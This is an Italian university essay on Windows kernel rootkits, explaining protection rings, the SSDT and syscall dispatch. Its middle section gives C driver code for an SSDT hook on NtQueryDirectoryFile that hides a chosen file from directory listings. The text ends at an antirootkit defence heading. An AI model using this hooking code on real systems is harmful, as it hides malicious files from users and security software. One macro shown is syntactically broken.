ROOTKITS - UNA NUOVA "VECCHIA TECNOLOGIA"

Approfondimento di Andrea Allievi
matricola 072933
Università degli studi Milano Bicocca

PREMESSA

Questo approfondimento è inteso per tutti coloro che sono interessati al mondo della "Sicurezza Informatica" e vogliono una visione chiara sulle minacce della sicurezza. Molti autori hanno già scritto libri su come un possibile intruso vuole "bucare" un sistema remoto, ma veramente pochi hanno già spiegato cosa succede quando un intruso guadagna l'accesso completo al sistema vittima.

Per comprendere al meglio questo approfondimento, sono necessarie alcune conoscenze di base, quali:

- Una base sulla architettura dei sistemi operativi Windows
- Conoscenza del linguaggio C (tutti gli esempi in questo approfondimento sono scritti in C)
- Conoscenza e utilizzo dei Debuggers

La maggior parte dei rootkit sono scritti per operare in kernel mode, quindi sarebbe preferibile, anche se non obbligatorio, che il lettore abbia almeno visto nella sua vita un sorgente di un driver per Windows. In questo approfondimento infatti introdurremo un nostro rudimentale sistema Antirootkit operante direttamente in kernel mode (per scrivere un progetto così vasto non basterebbe lo spazio di un approfondimento, ma si dovrebbe scrivere un libro intero).

COS'È UN ROOTKIT?

Il termine "rootkit" è stato usato impropriamente per anni. Un Rootkit è un "kit" che consiste di piccoli e potentissimi programmi che consentono ad un attaccante di ottenere accesso come amministratore, ovvero come utente che possiede i massimi privilegi, in un pc vittima (utente "root", ecco qui l'origine del termine "rootkit"). In sintesi, un ***rootkit è un set di programmi e codice che permette ad un attaccante di violare un computer vittima in modo non rilevabile e permanente.***
Nella nostra definizione di rootkit, la parola chiave è "non rilevabile". La maggior parte della tecnologia e trucchi impiegati da un rootkit, è progettata per nascondere codice e dati sul sistema. Per esempio, un rootkit potrebbe nascondere files e directory di virus o trojan, oppure potrebbe nascondere dati spiati di nascosto dalla rete (di solito password, dati dell'utente vittima).
I rootkits non sono sempre usati in modo dannoso. Se per esempio andiamo a vedere come funziona "dietro le quinte" un antivirus, o meglio ancora un firewall, scopriremo che molte delle tecnologie utilizzate sono tali e quali a quelle utilizzate dai rootkits. La polizia e molti organi di legge pagano profumatamente i programmatori specialisti in sicurezza informatica per sviluppare rootkit capaci di fare da "spia".

In questo approfondimento prenderemo i panni dell'attaccante, e guideremo il lettore a scoprire i trucchi e le tecniche del nemico. Questo incrementerà le capacità del lettore a difendersi contro le minacce dei rootkits.

PERCHÉ "NUOVA VECCHIA TECNOLOGIA"?

Tutti quanti i lettori si chiederanno che significato ha il titolo. Beh, ecco la spiegazione: La tecnologia rootkit è abbastanza recente, i primi rootkits risalgono al 2001/2002 (ecco spiegato l'aggettivo Nuova). C'è da dire però che gli antivirus e programmi legali, usavano queste tecnologie ben molto prima, fin dai tempi di windows Nt 3.51 (datato Maggio 1995). Ecco perché è pur sempre una "vecchia tecnologia".

LA POTENZA DEL "RING 0"

Fin dal lontano 1985 (anno della prima introduzione dell'architettura X86 e del processore Intel 80386) tutte le istruzioni macchina di un programma, che venivano eseguite dai processori dei computer, richiedevano dei privilegi di accesso. Tutta la famiglia dei processori X86 usa un concetto chiamato "Rings" (anelli) per il controllo dei privilegi di accesso. Ci sono 4 anelli, con il ring Zero che possiede tutti i privilegi di accesso, e il Ring 3 che è quello a privilegi più bassi. Internamente, ogni anello è memorizzato come un numero; non ci sono in realtà anelli nel microchip (ovviamente).

Tutti i sistemi operativi (escludendo la serie di Windows 9x, che non considero veri sistemi operativi) sfruttano questo meccanismo per la gestione della sicurezza. La serie di Windows derivata dal capostipite Windows Nt usa il meccanismo degli anelli, ma sfrutta solo il Ring 0 e il Ring 3. Ecco qui spiegato il concetto di "Kernel mode" e "User mode": tutti i programmi che usiamo abitualmente operano solo ed esclusivamente nel Ring 3, definito "**User mode**", se un programma dovesse tentare di utilizzare una istruzione che fa parte di un anello superiore (Ring 2 per esempio) il sistema operativo lo impedirebbe (più precisamente è la CPU che solleva un interrupt che viene poi gestito dall'OS), generando un errore. I drivers, i componenti a basso livello del sistema operativo, e l'intero kernel operano invece nel Ring 0, in cui tutte le istruzioni X86 sono eseguibili e i privilegi sono massimi. Questo è quello che viene definito "**Kernel Mode**", una modalità in cui un programma (driver o componente che sia) *può fare qualunque cosa.* Dato che il Ring 0 è il più privilegiato e potente, è un segno di orgoglio per gli sviluppatori di rootkit affermare che il loro codice gira nel Ring 0. È facile capire che un rootkit, operando con i massimi privilegi possibili e fondendosi con il kernel del Sistema vittima, è difficile, se non quasi impossibile, rilevare la sua presenza.

Approfondimento

Le tecnologie di virtualizzazione "Vanderpool" di Intel e "Pacifica" di AMD hanno introdotto un nuovo concetto di "Hypervisor mode", quindi una specie di Ring -1 de facto. Questo ha permesso la costruzione di tecnologie utili per far girare più sistemi operativi separati contemporaneamente in un Pc o Server (vedi prodotti quali VMWare Workstation o Windows Server 2008 con Hyper-V). Però in contemporanea ha permesso anche la creazione di nuovi potentissimi rootkit definiti come "Undetectables" (non rilevabili) che funzionano sfruttando queste nuove istruzioni che girano in Ring -1. Joanna Rutkowska, una ricercatrice polacca che si occupa di Sicurezza Informatica, è stata la prima nel 2006 a sviluppare un potentissimo rootkit chiamato Blue Pill (pillola blu, dal film di Matrix) per dimostrare che il così pubblicizzato sistema operativo Windows Vista a 64 bit non era perfetto, e che anche tecnologie così acclamate da Microsoft quali la nuova PatchGuard (creata per sicurezza o per fare diventare pazzi gli utenti??? Questa risposta la lascio dare ai lettori) erano ben impotenti contro questo rootkit.

Il kernel Nt non prevede l'utilizzo del ring 1 e 2, sebbene questi due anelli possano benissimo essere sfruttati. Altri sistemi operativi invece li usano (vedi il vecchio OS/2 o alcune distribuzioni di Unix).
La CPU è responsabile di tenere traccia di quali istruzioni e memoria è assegnata a ciascun anello, e di rafforzare le restrizioni di accesso tra gli anelli. Di solito, ad ogni programma è assegnato un numero di anello, e non può accedere a programmi con "ring number" più basso.

Molti strumenti per rilevare rootkits girano come programmi "user mode" nel Ring 3. Uno sviluppatore di rootkit lo sa, sfrutta il vantaggio dato dal suo software che gira ad un livello di privilegi più alto, riuscendo a nascondersi da essi, o a renderli del tutto inoperativi. Ci sono altri vantaggi ad avere in esecuzione un rootkit al Ring 0: accesso non solo a qualsiasi tipo di hardware, ma anche all'ambiente operativo in cui l'altro software gira.

STRUTTURA DEL KERNEL DI WINDOWS

Qui ci occuperemo di descrivere i concetti di base necessari a comprendere come un rootkit opera. Ovviamente per questioni di spazio e di tempi ci limiteremo ad una introduzione, se al lettore interessa l'argomento consiglio vivamente di leggere il libro "Microsoft Windows Internals Fourth Edition" di Mark Russinovich e David Solomon (ovviamente il libro è in lingua inglese, ma do' per scontato la conoscenza dell'inglese da parte degli informatici seri). Prendiamo in considerazione un sistema Windows 2000 o Xp a 32 bit, kernel Nt di tipo ibrido.

TABELLE, TABELLE E ANCORA TABELLE

Oltre ad avere la responsabilità di tenere traccia degli anelli, la Cpu deve assolvere molti altri compiti. Per esempio, la cpu deve decidere cosa fare quando viene sollevato un interrupt, quando un programma va in crash, quando l'hardware richiede attenzione, ma soprattutto quando un programma user-mode tenta di comunicare con il kernel. Chiaramente il sistema operativo deve gestire questi eventi, ma la CPU li incontra sempre prima. Per ogni evento, la Cpu deve sapere quale routine software eseguire. Dato che ogni pezzo di codice compilato risiede in memoria, per la Cpu ha senso memorizzare gli indirizzi delle routine software da eseguire in risposta agli eventi. La Cpu non può memorizzare tutti gli indirizzi internamente nei suoi registri, perciò deve interrogare le "tabelle degli indirizzi". Quando viene generato un evento (hardware o software, come un interrupt ad esempio), la Cpu cerca l'evento in una tabella e trova il corrispondente indirizzo per il "pezzo di software" che tratta quell'evento. Dopodichè viene eseguito il programma memorizzato nell'indirizzo di memoria appena trovato. *L'unica informazione necessaria alla CPU per consultare le tabelle è ovviamente l'indirizzo di base di tali tabelle in memoria*.
Ci sono tante tabelle importanti per la CPU (cosa vuol dire mappare verrà spiegato a breve):

- Global Descriptor Table (GDT), usata per mappare gli indirizzi
- Local Descriptor Table (LDT), sempre usata per mappare gli indirizzi
- Page Directory Table, ancora utilizzata per mappare gli indirizzi
- Interrupt Descriptor Table (IDT), usata per trovare il codice che gestisce un interrupt

Oltre a queste tabelle, il sistema operativo Nt utilizza tabelle. La più importante tabella del sistema operativo Nt è senza dubbio la "System Service Dispatch Table (SSDT)" usata da Windows per gestire le chiamate di sistema. Ci sono una miriade di altre tabelle del sistema operativo (come la "Handle Table" per esempio), ma rimando al libro "Windows Internals" per ulteriori approfondimenti.

L'Executive di Windows, ovvero lo strato "alto" del Kernel, fornisce le funzioni "native", ovvero quelle che verranno poi utilizzate dalle API dei vari sottosistemi (Win32, Dos, Posix), e sono esportate attraverso il file **NtDll.dll**. Tutte queste funzioni vengono chiamate API native perché girano in Kernel Mode e forniscono i meccanismi di base del kernel a tutti i programmi user mode. Un'api del sottosistema Win32 (come ad esempio la *CreateProcess*), svolge il proprio compito nella maggior parte dei casi richiamando un'Api nativa (poi ovviamente ci sarà anche il processo di copia della memoria e di convalida dei parametri). Queste non sono quasi mai documentate e variano ad ogni release del sistema operativo. Windows mantiene una tabella delle API native, chiamata System Service Descriptor Table. La tabella in questione viene consultata tutte le volte che un programma necessita di servizi forniti dal Kernel. Il programma ovviamente non si interfaccerà con il kernel del sistema operativo (tranne nel caso di applicazione native), ma utilizzerà le API del suo sottosistema, le quali a loro volta richiameranno una o più funzioni native.

WINDOWS MEMORY MODEL

I lettori che hanno almeno una volta nella vita scritto un programma per Windows sanno che la memoria disponibile è di ben 4 Gb (2 Gb per essere precisi) anche se la macchina monta molta meno memoria fisica. Vi siete mai chiesti perché? La risposta è semplice: in ogni processore X86 esiste una MMU che gestisce la cosiddetta "Memoria Virtuale". Ogni programma software genera e utilizza indirizzi di memoria virtuali. Un indirizzo virtuale viene poi tradotto in indirizzo fisico dalla Cpu attraverso l'uso della MMU e della tabella Page Directory.

Tutta la memoria fisica è divisa in pagine, come in un libro. Ogni pagina ha una grandezza fissa (4Kb in architettura X86). Ogni processo può avere differenti tabelle rispetto ad un altro programma per trovare le proprie pagine di memoria. La pagina è il più piccolo quantitativo di memoria utilizzabile dai programmi. Immaginate la memoria come una libreria piena di libri, dove ogni processo ha il suo catalogo separato dei libri. I cataloghi differenti permettono ad un programma di vedere la memoria diversamente da un altro programma. Ci sono svariati meccanismi di protezione di accesso alle pagine di memoria (sono principalmente 3: Segment Check, Page Directory Check e Page Check), gestiti dalla Cpu. Questi meccanismi sono usati non solo per la sicurezza, ma anche per la memoria virtuale. La "memoria virtuale permette a processi diversi di essere eseguiti simultaneamente, ognuno con la sua "visione della memoria" personale. Le pagine di memoria virtuali infatti possono essere "scaricate" sul disco fisso. La Cpu genera un interrupt se qualsiasi pagina virtuale non è presente in Ram cosicché la pagina potrà venire ricaricata in memoria (processo di swap in). Ecco qui spiegato a cosa serve il file di paging dei sistemi Windows Nt. Un computer che ha poca memoria Ram avrà un file di paging grande, che sarà utilizzato spesso. Un computer però impiega un tempo 300 volte inferiore ad accedere alla memoria fisica, rispetto che ad accedere al disco fisso; ecco qua spiegato perché i computer con poca memoria libera a volte continuano insistentemente ad accedere al disco fisso e a diventare così lenti da rendere nervoso il proprio utilizzatore. Ma come avviene la traduzione da pagina virtuale a pagina fisica?

La traduzione degli indirizzi di memoria è ottenuta grazie alla tabella "Page Table Directory". La CPU memorizza l'indirizzo di tale tabella in un registro speciale, il registro CR3. Questo registro punta ad un array di 1024 valori a 32 bit (4 bytes) chiamato il *Page Directory*. Ogni valore a 32 bit (chiamato ovviamente *Page Directory Entry*) specifica l'indirizzo di un'altra tabella da 1024 valori a 32 bit, chiamata *Page Table,* nella memoria fisica, ed include un bit di stato per indicare se la *Page Table* è in memoria oppure no. Dalla *Page Table* viene ottenuto l'indirizzo fisico della pagina di memoria. La Cpu quando incontra un indirizzo virtuale

lo divide in 3 parti per trovare gli offset nelle 2 tabelle e nella pagina fisica. Per altri dettagli consulta il libro *Windows internals*.

COME SI PRATICA QUESTA MAGIA NERA

Un rootkit installato in un sistema vittima può fare QUALSIASI cosa (infatti, come spiegato prima, gira in Kernel Mode), ma la maggior parte di essi hanno lo scopo di nascondere programmi, dati che possono ad esempio appartenere ad un virus o ad un programma spia. Lo scopo principale dei rootkit infatti è un azione di stealth, in poche parole non devono essere RILEVABILI da nessuno. Partiremo con l'obiettivo di nascondere un file e una cartella. Beh, in kernel mode esistono almeno ben 4 modi di fare una cosa del genere (Hybrid Hook, Inline hook, SSDT Hook, Filter Driver). Ovviamente per motivi di spazio non andremo a spiegarli tutti. Prenderemo in considerazione la più semplice tecnica di hooking (aggancio) utilizzata dai rootkits: l'aggancio (hook) della tabella SSDT. Il sistema di esempio preso in considerazione è un sistema Windows 2000/Xp a 32 bit.

Come spiegato prima, Windows utilizza la tabella SSDT per fare lo switch e passare da codice user mode (ring 3) a codice kernel mode (ring 0). L'indirizzo della tabella SSDT è memorizzato in una variabile chiamata *KeServiceDescriptorTable,* esportata dal kernel e accessibile da qualunque programma kernel mode (drivers ad esempio). La *KeServiceDescriptorTable* è formata da 4 tabelle da 16 bytes ognuna. A noi interessa solo la prima (anche perché le altre 3 in un sistema Nt appena installato sono vuote). La prima tabella puntata da *KeServiceDescriptorTable* è formata da 4 campi:

- Indirizzo della System Service Descriptor Table (4 bytes)
- Campo *ServiceCounterTable* (sempre settato a 0x00000000)
- Campo *NumberOfServices* che indica il numero di API native indicizzate dalla tabella SSDT
- Puntatore alla System Service Parameter Table (SSPT), che non è altro una tabella che contiene il numero di bytes dei parametri accettati dalla corrispondente API nativa indicizzata dalla SSDT

Per chiamare una funzione specifica, il sistema prende il numero della funzione desiderata e lo moltiplica per 4, così ottiene l'offset dentro la SSDT. La *KeServiceDescriptorTable* contiene anche il campo *NumberOfServices*, questo valore è utilizzato per trovare l'offset massimo all'interno della SSDT e SSPT. Ogni elemento nella SSPT è di un byte e specifica la grandezza in bytes dei parametri della funzione corrispondente nella SSDT. Nella figura ad esempio, la funzione all'indirizzo 0x804BDEF3 prende 0x2C (44 in decimale) bytes di parametri.

Approfondimento

Esiste anche un'altra importante tabella nel kernel Nt degna di menzione: è la *KeServiceDescriptorTableShadow*, che contiene gli indirizzi delle API native fornite per il sottosistema grafico GDI , implementato da Windows Nt 4 in poi nel driver *Win32k.sys.*
La variabile del Kernel *KeServiceDescriptorTableShadow* punta a 4 tabelle, la prima identica alla tabella SSDT, la seconda utilizzata per le chiamate di sistema grafiche GDI.

Per costruire il nostro rootkit, dobbiamo innanzitutto disassemblare con il nostro debugger preferito (Ollydbg o Windbg vanno benone) le api utilizzate per enumerare files e cartelle: la `FindFirstFile` e la `FindNextFile`. Per i nostri scopi dobbiamo intercettare le chiamate alle API native (per la precisione le

routine “stub”, poi vedremo cosa significa). La `FindFirstFile` disassemblata, non fa altro che richiamare la `FindFirstFileEx`. Ora analizzando questa api troveremo una chiamata iniziale alla `ZwOpenFile`, che in questo caso serve per ottenere un’handle alla directory corrente, poi dopo poche istruzioni, c’è un’altra chiamata alla `ZwQueryDirectoryFile`. Questa è l’api nativa che ci permette di costruire il nostro rootkit. Proviamo a disassemblare anche la `ZwQueryDirectoryFile`, ecco quello che otteniamo:

```
7C91DF5E  B8 91000000      MOV EAX,91
7C91DF63  BA 0003FE7F      MOV EDX,7FFE0300
7C91DF68  FF12             CALL DWORD PTR DS:[EDX]   ntdll.KiFastSystemCall
7C91DF6A  C2 2C00          RETN 2C
7C91DF6D  90               NOP
7C91DF6E  90               NOP
```

Come è possibile solo 4 istruzioni per un API nativa? Disassembliamo anche la KiFastSystemCall….

```
7C91EB8A  90               NOP
7C91EB8B  8BD4             MOV EDX,ESP
7C91EB8D  0F34             SYSENTER
7C91EB8F  90               NOP
```

Qui sta tutto il meccanismo di passaggio da codice User mode a codice Kernel Mode. Se diamo un occhiata ai registri del processore possiamo osservare che il registro EAX contiene 0x91h (il numero della API nativa `NtQueryDirectoryFile` nella tabella SSDT), e che nel registro EDX viene scritto l’indirizzo dello stack corrente (ESP infatti è il registro Stack Pointer). Cosa fa quindi quella SYSENTER? Semplice, l’istruzione fa transitare il processore in Kernel Mode (codice ring 0), passando il controllo all’indirizzo contenuto nel registro “IA32_SYSENTER_EIP” (è un registro model-specific, che non starò a spiegare in dettaglio). Questo indirizzo corrisponde alla routine `KiFastCallEntry` del kernel Nt. Il kernel Nt non fa altro a questo punto che leggere il registro EAX, moltiplicare per 4 e trovare l’offset all’interno della SSDT. A questo punto il processore esegue la routine all’indirizzo appena trovato, copiando i bytes necessari per i parametri dallo stack puntato da EDX (consultando prima la tabella SSPT). Alla fine il controllo ritorna alla `FindFirstFileEx`.
Da questo è possibile capire che tutte le API native iniziano con le due lettere “Nt”, e girano SOLO in Kernel Mode, le API che iniziano con Zw invece sono delle routine definite “stub” (mozziconi) che non fanno altro che eseguire lo switch da User mode a Kernel mode. Non tutte le API native però hanno una routine stub e quindi non tutte sono utilizzabili da programmi User mode. Come fare a modificare l’API nativa `NtQueryDirectoryFile`? È relativamente semplice: basta sostituire l’indirizzo contenuto nella cella n° 0x91h con l’indirizzo di una routine scritta ad hoc da noi. Questa dovrà per prima cosa richiamare la funzione originale (quindi dovremmo salvare l’indirizzo della routine originale da qualche parte) e poi filtrare i risultatati. Ovviamente dovremmo fare questo da un programma che gira in kernel mode, un driver fa al caso nostro:

```
// Entry Point del driver
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath)
{
	NTSTATUS retStatus = STATUS_UNSUCCESSFUL;
	DbgPrint("MyRootkit - Entry Point del driver richiamata!\r\n");
	pDriverObject->DriverUnload = DriverUnload;
	retStatus = InstallSSDTHook();
	return retStatus;
}
```

Ovvio, l’entry point del driver si limita ad inizializzarlo e a installare la SSDT Hook. Vediamo ora la routine `InstallSSDTHook`:

```
NTSTATUS InstallSSDTHook(void) {
    if (isHooked) return STATUS_SUCCESS;
    isHooked = FALSE;

    // Sblocco la memoria che altrimenti sarebbe PROTETTA da scrittura
    pMdl_SSDT = IoAllocateMdl(KeServiceDescriptorTable.ServiceTableBase,
    KeServiceDescriptorTable.NumberOfServices * 4,
    FALSE, FALSE, NULL);

    if (!pMdl_SSDT) {
       DbgPrint("MyRootkit - InstallSSDTHook, “
       “ho fallito nella creazione del Mdl.\r\n");
       return STATUS_UNSUCCESSFUL;
    }

    MmBuildMdlForNonPagedPool(pMdl_SSDT);
    pMdl_SSDT->MdlFlags |= MDL_MAPPED_TO_SYSTEM_VA;        // Qui lo rendo scrivibile
    // Ora blocco la memoria ora scrivibile
    MappedSystemCallTable = MmMapLockedPagesSpecifyCache(pMdl_SSDT, KernelMode,
       MmNonCached, NULL, FALSE, NormalPagePriority);

    if (!MappedSystemCallTable) {
       DbgPrint("MyRootkit - InstallSSDTHook, ho fallito ”
       “nella MmMapLockedPagesSpecifyCache.\r\n");
       return STATUS_UNSUCCESSFUL;
    }

    // Aggancio l'API nativa, prima però salvo il vecchio indirizzo
    OldNtQueryDirectoryFile = (ZWQUERYDIRECTORYFILE)
    SYSTEMSERVICE(ZwQueryDirectoryFile);
    HOOK_SYSCALL(ZwQueryDirectoryFile, NewNtQueryDirectoryFile,
    OldNtQueryDirectoryFile);
    isHooked = TRUE;

    DbgPrint("MyRootkit - Memoria bloccata, aggancio della SSDT completato...\r\n");
    return STATUS_SUCCESS;
}
```

La routine non fa altro che impostare permessi di scrittura alla memoria in cui è presente la tabella System Service Descriptor Table (con il trucco del Memory Descriptor List, anche se lo stesso risultato si poteva ottenere modificando un bit del registro CR0 del processore) dopodiché scambia l’indirizzo della `NtQueryDirectoryFile` con la nuova routine `NewNtQueryDirectoryFile` scritta da noi. La memoria in cui è presente la tabella SSDT, è infatti protetta da scrittura, e se provassimo a scrivere in questa zona protetta otterremmo una bella schermata blu di errore critico del Kernel.
Il nostro rootkit, per scambiare gli indirizzi della SSDT utilizza un paio di macro così definite:

```
/* MACRO PER LA SSDT
   Macro SYSTEMSERVICE: Prende come argomento l'indirizzo della funzione esportata
   da ntdll.dll (quindi API che iniziano con Zw*) e ritorna l'indirizzo
   della corrispondente funzione nativa Nt (quindi le API che iniziano con Nt*) */
#define SYSTEMSERVICE(_func) \
      KeServiceDescriptorTable.ServiceTableBase[ *(PULONG) ((PUCHAR)_func+1)]

/* Macro SYSCALL_INDEX: Prende l'indirizzo di un API ntdll (Zw*) e ritorna il suo
   corrispondente indice nella SSDT */
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)

/* Macro HOOK_SYSCALL e UNHOOK_SYSCALL: Prendono l'indirizzo delle funzioni
   ntdll (Zw*) che verranno agganciate, prendono il loro indice nella SSDT
   e cambiano l'inidirizzo nella SSDT con l'indirizzo della nuova funzione aggancio */
#define HOOK_SYSCALL(_Function, _NewFunc, _Orig )  \
   _Orig = (PVOID) InterlockedExchange( (PLONG)    \
   &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _NewFunc)
```

```
#define UNHOOK_SYSCALL(_Function, _NewFunc, _Orig )  \
   InterlockedExchange( (PLONG) &MappedSystemCallTable   \
   [SYSCALL_INDEX(_Function)], LONG) _NewFunc)
```

L'indirizzo della tabella SSDT è esportata dalla variabile *KeServiceDescriptorTable* del kernel. Per utilizzarla dobbiamo istruire il compilatore ad andarla a ricercare all'esterno.

```
// La struttura di una tabella SSDT (allineata a 8 bit, non a 32)
#pragma pack(1)
typedef struct {
    DWORD * ServiceTableBase;             // L'indirizzo base della SSDT
    DWORD * ServiceCounterTableBase;      // Sempre settato a 0
    UINT NumberOfServices;                // Il numero di API native Nt*
    UCHAR * ParamTableBase;               // L'indirizzo di base della SSPT
} SSDT_Entry;
#pragma pack()          //4 bytes valore di default

// Importa il simbolo KeServiceDescriptorTable del kernel
__declspec(dllimport) SSDT_Entry KeServiceDescriptorTable;
```

Ora siamo arrivati a scrivere la nostra routine `NtQueryDirectoryFile`, l'API nativa in questione prende ben 11 parametri, come fare a sapere che cosa fanno questi parametri? Beh i casi sono due: alcune API native sono documentate sulla documentazione officiale della DDK (Driver Development Kit) di Nt, per altre invece è necessario l'utilizzo di un debugger per disassemblare la routine e a capire cosa fanno i parametri. La seconda opzione non è sempre facile però. Gary Nebbet ha già fatto questo procedimento e ha documentato la maggior parte delle api native nel suo libro *Windows Nt/2000 Native API Reference*. La nostra `NtQueryDirectoryFile`, deve solo leggere il parametro `FileInformationClass`, e se questo equivale a 3 (`FileBothDirectoryInformation` = 3) filtrare il risultato della esecuzione (se infatti osserviamo il codice macchina della `FindNextFile` e `FindFirstFile` disassemblate, possiamo capire che questo parametro è sempre impostato a 3 quando viene chiamata la `ZwQueryDirectoryFile`).

```
NTSTATUS NewNtQueryDirectoryFile(IN HANDLE FileHandle, IN HANDLE Event,
   IN PIO_APC_ROUTINE ApcRoutine, IN PVOID ApcContext,
   OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation,
   IN ULONG FileInformationLength, IN FILE_INFORMATION_CLASS FileInformationClass,
   IN BOOLEAN ReturnSingleEntry, IN PUNICODE_STRING FileName, IN BOOLEAN RestartScan)
{

  // Richiama la funzione originale per prima cosa
  NTSTATUS retStatus = STATUS_UNSUCCESSFUL;
  retStatus = OldNtQueryDirectoryFile(FileHandle, Event, ApcRoutine,
     ApcContext, IoStatusBlock, FileInformation, FileInformationLength,
     FileInformationClass, ReturnSingleEntry, FileName, RestartScan);

  // La FindFirstFile e FindNextFile operano sul
  // FileInformationClass == FileBothDirectoryInformation
  if (FileInformationClass == FileBothDirectoryInformation
     && NT_SUCCESS(retStatus)) {

    // Qui filtra i risultati
    PFILE_BOTH_DIRECTORY_INFORMATION info = NULL;
    // Indirizzo della FILE_BOTH_DIRECTORY_INFORMATION precedente
    PFILE_BOTH_DIRECTORY_INFORMATION oldInfo = NULL;
    UINT fileToHideLen = 0;        // Lunghezza in bytes del files da nascondere
                                   // (escluso terminatore nullo)
    WCHAR * oNameUpr = NULL;       // Il nome del file originale in maiuscole

    info = (PFILE_BOTH_DIRECTORY_INFORMATION)FileInformation;
    // Per la prima chiamata a NtQueryDirectoryFile,
    // FindFirstFile enumera un file solo (che è sempre .)
    // if (info->NextEntryOffset == 0) return retStatus;
```

```
    // Seconda e successiva chiamata a NtQueryDirectoryFile,
    // FindNextFile enumera tutti i files, Qui applica il filtro
    oldInfo = NULL;
    while (TRUE) {
      // Prima verifica sulla lunghezza del nome
      fileToHideLen = wcslen(FILETOHIDE) * 2; // FILETOHIDE è il file da nascondere
      if (info->FileNameLength < fileToHideLen) {
      if (!info->NextEntryOffset) break;
        oldInfo = info;
        info = (PFILE_BOTH_DIRECTORY_INFORMATION)((ULONG)info +
          info->NextEntryOffset);
        continue;
      }

      oNameUpr = ExAllocatePoolWithTag(PagedPool, info->FileNameLength + 2,
         (ULONG)" INU");
      RtlZeroMemory(oNameUpr, info->FileNameLength + 2);
      RtlCopyMemory(oNameUpr, info->FileName, info->FileNameLength);
      if (_wcsicmp(oNameUpr, FILETOHIDE) == 0) {
        // File da nascondere trovato
        ULONG nextEntry = (ULONG)info + info->NextEntryOffset;

        // Caso in cui il file è il primo della lista (improbabile)
        if (!oldInfo) FileInformation = (PVOID)((ULONG)info + info->NextEntryOffset);
        // Caso in cui il file è l'ultimo della lista
        else if (!info->NextEntryOffset) oldInfo->NextEntryOffset = 0;
        // Caso in cui il file è in mezzo alla lista
        else oldInfo->NextEntryOffset = nextEntry - (ULONG)oldInfo;

        RtlZeroMemory(info, sizeof(FILE_BOTH_DIRECTORY_INFORMATION));
        info = (PFILE_BOTH_DIRECTORY_INFORMATION)nextEntry;
      }
      ExFreePool(oNameUpr);
      if (!info->NextEntryOffset) break;
      oldInfo = info;
      info = (PFILE_BOTH_DIRECTORY_INFORMATION)((ULONG)info + info->NextEntryOffset);
    }
  }
  return retStatus;
}
```

Il codice non è complicato, in pratica il nostro filtro viene applicato solo se il parametro `FileInformationClass` è 3 (come già spiegato precedentemente). L'API nativa in questione ritorna i risultati sotto forma di lista di strutture `FILE_BOTH_DIRECTORY_INFORMATION`, non dobbiamo fare altro che scorrere la lista e trovare l'entry corrispondente al nome del file che dobbiamo far scomparire. Una volta trovata l'esatta posizione della struttura che contiene le informazioni sul file da far scomparire, dobbiamo eliminarla dalla memoria e rilegare la lista appena spezzata (modificando la `NextEntryOffset` dell'entry precedente nella lista, ovviamente stando attenti ai casi particolari, cioè quando l'elemento trovato è il primo o l'ultimo). Abbiamo finalmente scritto il nostro primo, seppur elementare rootkit.

Si deve tenere presente però che questa tecnica è una tra le più semplici e più rilevabili (poi vedremo come). Nei casi reali di rootkit esistono svariati metodi molto più complicati e difficili da rilevare per ottenere lo stesso nostro scopo. Solo a titolo informativo esiste la tecnica dell'IRP Hooking, la tecnica delle deviazioni inline (che sinteticamente consistono nel modificare la funzione nativa direttamente inline e far deviare l'esecuzione ad una funzione filtro scritta ad hoc; queste deviazioni possono essere anche piazzate profondamente all'interno del kernel e quindi quasi impossibili da rilevare), e la tecnica dei Filter Drivers. In questo approfondimento non starò a spiegarle ulteriormente, in sintesi voglio far capire al lettore che un buon programmatore che conosce le funzioni, il codice e le strutture dati del kernel di Windows, può creare Rootkit potentissimi, i quali possono fare qualsiasi compito ed essere praticamente irrilevabili a qualsiasi

strumento di analisi. Scoprire ogni segreto del kernel di Windows è complicato, ma possibile attraverso il "reverse engineering", e con l'utilizzo dei debuggers kernel mode (WinDbg è uno strumento ottimo per questo scopo). Infatti qualsiasi programma utilizza un codice macchina che viene eseguito da un processore. Se il processore capisce il codice, lo possiamo capire anche noi per quanto complicato esso sia…

Ora vedremo come ci si può difendere da questa "magia nera", abbozzando il nostro primo sistema Antirootkit.

LA DIFESA

Difendersi in maniera perfetta da queste minacce non è possibile, alcuni rootkit infatti, come detto prima, sono troppo difficili da rilevare, però è anche vero che le tecniche di difesa si stanno evolvendo alla pari delle tecniche di attacco. Ogni software deve essere caricato in memoria da qualche parte; così, per trovare un rootkit, si deve tenere monitorata la memoria. Come fare? Ci sono 2 modi per raggiungere questo obiettivo:

- Difesa preventiva: Questo tipo di difesa cerca di scoprire un rootkit prima che venga caricato in memoria. Questo è l'approccio "Guarding the doors" (*letteralmente Proteggere le porte)*, che analizza cosa esegue il computer (processi, driver …). In pratica si tengono monitorate le funzioni native per caricare in memoria driver e processi eseguibili. In questo modo, posso evitare di caricare il software non voluto avvisando l'utente prima del tempo. Il rovescio della medaglia è che un metodo di protezione di questo tipo è assolutamente impotente se il rootkit trova un'altra strada per caricarsi in memoria, o per qualche motivo l'utente ignaro consente di caricare un rootkit. Il problema principale di questo metodo è che esistono svariati metodi per far eseguire del codice ad un sistema operativo Nt (ne vedremo in dettaglio alcuni in seguito), e monitorarli tutti è una cosa a dir quanto impossibile.
- "Scanning the Rooms" *(letteralmente esplorare le stanze)*: Per evitare l'enorme lavoro di filtrare tutti i punti di ingresso del kernel o di un processo, si può analizzare tutta la memoria periodicamente, per cercare una "firma" di un driver/modulo che corrisponde ad un rootkit. Questo è quello che fanno tutti i software antivirus. La tecnica però può proteggere solo contro attacchi conosciuti, cioè non può in nessun modo prevenire rootkit nuovi. Il problema più grosso è che non previene che un rootkit si carichi in memoria. Infatti il rootkit deve necessariamente essere già caricato!

Dunque in sintesi per creare un buon software AntiRootkit si devono utilizzare entrambi i 2 tipi di difesa, in modo tale da sfruttare i punti di forza di entrambi. Ora andremo a scrivere una bozza di sistema di difesa per il nostro rootkit appena creato….

ANTIROOTKIT - GUARDING THE DOORS

